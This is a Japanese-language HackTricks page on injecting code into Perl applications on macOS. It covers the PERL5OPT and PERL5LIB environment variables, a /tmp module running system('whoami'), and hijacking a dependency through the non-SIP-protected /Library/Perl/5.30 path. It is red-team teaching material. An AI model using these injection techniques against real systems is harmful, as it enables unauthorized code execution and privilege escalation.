macOS Perl Applications Injection

htARTE(HackTricks AWS Red Team Expert) でゼロからヒーローまでAWSハッキングを学ぶ

HackTricksをサポートする他の方法:

PERL5OPTおよびPERL5LIB環境変数を介して

環境変数PERL5OPTを使用すると、perlが任意のコマンドを実行することが可能です。 たとえば、次のスクリプトを作成します:

test.pl
#!/usr/bin/perl
print "Hello from the Perl script!\n";

次に環境変数をエクスポートしてperlスクリプトを実行します:

export PERL5OPT='-Mwarnings;system("whoami")'
perl test.pl # This will execute "whoami"

別のオプションは、Perlモジュールを作成することです(例:/tmp/pmod.pm):

/tmp/pmod.pm
#!/usr/bin/perl
package pmod;
system('whoami');
1; # Modules must return a true value

その後、環境変数を使用します:

PERL5LIB=/tmp/ PERL5OPT=-Mpmod

依存関係を介して

Perlを実行している依存関係フォルダの順序をリストアップすることができます:

perl -e 'print join("\n", @INC)'

次のように返されます:

/Library/Perl/5.30/darwin-thread-multi-2level
/Library/Perl/5.30
/Network/Library/Perl/5.30/darwin-thread-multi-2level
/Network/Library/Perl/5.30
/Library/Perl/Updates/5.30.3
/System/Library/Perl/5.30/darwin-thread-multi-2level
/System/Library/Perl/5.30
/System/Library/Perl/Extras/5.30/darwin-thread-multi-2level
/System/Library/Perl/Extras/5.30

いくつかの返されたフォルダは存在しない場合がありますが、/Library/Perl/5.30存在し、SIPによって保護されていません。また、このフォルダはSIPによって保護されているフォルダよりも前にあります。したがって、誰かがそのフォルダを悪用してスクリプトの依存関係を追加し、高特権のPerlスクリプトがそれを読み込むことができます。

ただし、そのフォルダに書き込むにはroot権限が必要であり、現在ではこのTCCプロンプトが表示されます:

たとえば、スクリプトが**use File::Basename;をインポートしている場合、/Library/Perl/5.30/File/Basename.pm**を作成して任意のコードを実行させることが可能です。

参考文献

Last updated